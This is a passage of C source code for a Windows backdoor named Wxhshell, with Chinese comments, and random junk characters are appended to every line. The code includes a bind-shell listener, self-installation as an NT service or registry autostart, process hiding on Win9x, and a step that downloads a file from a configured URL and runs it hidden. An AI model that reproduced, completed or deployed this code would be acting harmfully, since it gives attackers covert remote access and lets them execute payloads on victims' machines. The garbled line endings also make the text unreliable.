ULONG UniqueProcessId; xJc.pvVPw
ULONG InheritedFromUniqueProcessId; [YE?OQ7#
} PROCESS_BASIC_INFORMATION; FL&dv
TQ-KkH}y
PROCNTQSIP NtQueryInformationProcess; jL_5]pzJ
a8QfkOe
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G_(ct5:_"!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @C_ =*
Efr3x{ j
HANDLE hProcess; 4 Py3I9
PROCESS_BASIC_INFORMATION pbi; D|TR!
b1)\Zi
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); veO?k.u(
if(NULL == hInst ) return 0; Z =
ik{/
(hsZ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]]y[t|6
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PbN3;c3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hBy*09Sv
,qu:<
if (!NtQueryInformationProcess) return 0; s41adw>
]-Lruq#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }!B.K^@)
if(!hProcess) return 0; \(bj(any
m1y `v"
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +{*)}[w{x
t=
*Jg/$
CloseHandle(hProcess); :D4];d>1
8]]@S"ZM,\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Tzf$*Uje3
if(hProcess==NULL) return 0; 8_X.c
xT=ySa$|>
HMODULE hMod; TrQm]9 @
char procName[255]; ^'YHJEK
unsigned long cbNeeded; r0u J$/!
S}mm\<=1
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CjV7q y
Om6Mmoqh
CloseHandle(hProcess); niAZ$w
WKOI\
if(strstr(procName,"services")) return 1; // 以服务启动 #G~wE*VR$
RNe9h lr
return 0; // 注册表启动 z}3di5+P
} ^XNw$@&',
-;ER`Jqs,
// 主模块 z L8J`W
int StartWxhshell(LPSTR lpCmdLine) b~9`]+
{ mF~ys{"t
SOCKET wsl; pU@YiwP"]x
BOOL val=TRUE; L6xB`E9
int port=0; S*s:4uf
struct sockaddr_in door; J@gm@ jLc
"u5KbJW
if(wscfg.ws_autoins) Install(); $E @ouX?
jJ<;2e~OW
port=atoi(lpCmdLine); (gDQ\t@3-
;t~*F#p(!
if(port<=0) port=wscfg.ws_port; lJlhl7
$':JI#
WSADATA data; sX!3_'-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wt"ww~h`(
}pKv.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q!`)e @r
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iel-<(~
door.sin_family = AF_INET; 6N?#b66
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1y~L8!:L
door.sin_port = htons(port); %rw}u"3T
HM
90Sb
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
}Zt.*%
closesocket(wsl); R)Q/Ff@o0
return 1; l[Tt[n
} fw:7U%MGv
|SxMN%M!
if(listen(wsl,2) == INVALID_SOCKET) { %fBP:5%K
closesocket(wsl); ]d^k4 d
return 1; V&g)m.d:n
} G LoiH#R
Wxhshell(wsl); D/cg7
WSACleanup(); *h:D|4oJ(
^glX1 )
return 0; OgQntj:%lN
{hM"TO7\
} ;*nh=w
"% SX@
// 以NT服务方式启动 WqR7uiCi
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \FVNXUMU
{ tg3zXJ4k_
DWORD status = 0; [z^Od
DWORD specificError = 0xfffffff; !ZX&r{pJp
#s*k|
j}
serviceStatus.dwServiceType = SERVICE_WIN32; 2G
ZF/9}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; K[e`t%2_
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xUIvLH=
serviceStatus.dwWin32ExitCode = 0; `t%|.=R
serviceStatus.dwServiceSpecificExitCode = 0; e~3]/BL
serviceStatus.dwCheckPoint = 0; @`5QG2
serviceStatus.dwWaitHint = 0; KM 5jl9Vv
<>VIDE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Qg[heND
if (hServiceStatusHandle==0) return; ?vMK'"
8>ESD}(
status = GetLastError(); xC'mPcU8
if (status!=NO_ERROR) q)vK`\Y
{ ) sRN!~
serviceStatus.dwCurrentState = SERVICE_STOPPED; (v]P<3%
serviceStatus.dwCheckPoint = 0; uW )
\,
serviceStatus.dwWaitHint = 0; v: giZxR
serviceStatus.dwWin32ExitCode = status; !;TR2Zcn
serviceStatus.dwServiceSpecificExitCode = specificError; F|6
nwvgq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'J2ewW5
return; o1Ne+Jt
} =[ s8q2V
j,\tejl1
serviceStatus.dwCurrentState = SERVICE_RUNNING; K!9y+%01
serviceStatus.dwCheckPoint = 0; NWw<B3aL
serviceStatus.dwWaitHint = 0; [?A&xqO3
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [TP
} Pb0)HlLq
Ob7zu"zr
// 处理NT服务事件,比如:启动、停止 L^6"'#
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1X[73
{ 6BUBk>A`
switch(fdwControl) zMbfV%b
{ UP}feN
case SERVICE_CONTROL_STOP: JvKO $^
serviceStatus.dwWin32ExitCode = 0; *@CVYJ'<
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?){0-A4
serviceStatus.dwCheckPoint = 0; fDL3:%D
serviceStatus.dwWaitHint = 0; Yd[U
{ ~(stA3]k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); u.$Ym
} D% oueW
return; ,<7"K&
case SERVICE_CONTROL_PAUSE: <_=JMA5
serviceStatus.dwCurrentState = SERVICE_PAUSED; $[)6H7!U)
break; v hRu`Yb
case SERVICE_CONTROL_CONTINUE: zB;'_[8M
serviceStatus.dwCurrentState = SERVICE_RUNNING; AU3auBol
^
break; }_5 R9w]"
case SERVICE_CONTROL_INTERROGATE: cQm4q19
break; BvUiH<-D
}; h`iOs>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hz)i.AA 4
} u08QE,
h J0U-m
// 标准应用程序主函数 $tej~xZK
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %r8;i
{ g/VV2^,
YrV@k*O*
// 获取操作系统版本 d</F6aM\
OsIsNt=GetOsVer(); nv\K!wZI=b
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qqs1%u;e8
h~ZLULW)B
// 从命令行安装 wE}Wh5
if(strpbrk(lpCmdLine,"iI")) Install(); =[LorvX+
216$,4i
// 下载执行文件 [2h.5.af
if(wscfg.ws_downexe) { MdmN7>
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Gr#3GvL
WinExec(wscfg.ws_filenam,SW_HIDE); ESYF4-d+
} gd*2*o$g(
:2K@{~8r
if(!OsIsNt) { ]qxl^Himq
// 如果时win9x,隐藏进程并且设置为注册表启动 e~d=e3mBp
HideProc(); {Ay dt8
StartWxhshell(lpCmdLine); ~9E_L?TW*
} D~#%^a+Aq_
else [:cvy[}v@
if(StartFromService()) =E<H_cUS
// 以服务方式启动 Rc
&m4|cw7
StartServiceCtrlDispatcher(DispatchTable); C511hbF
else aYDo0?kF'
// 普通方式启动 ?)186dp
StartWxhshell(lpCmdLine); lRb>W31"
Z&U:KrFH
return 0; M&/%qF15
}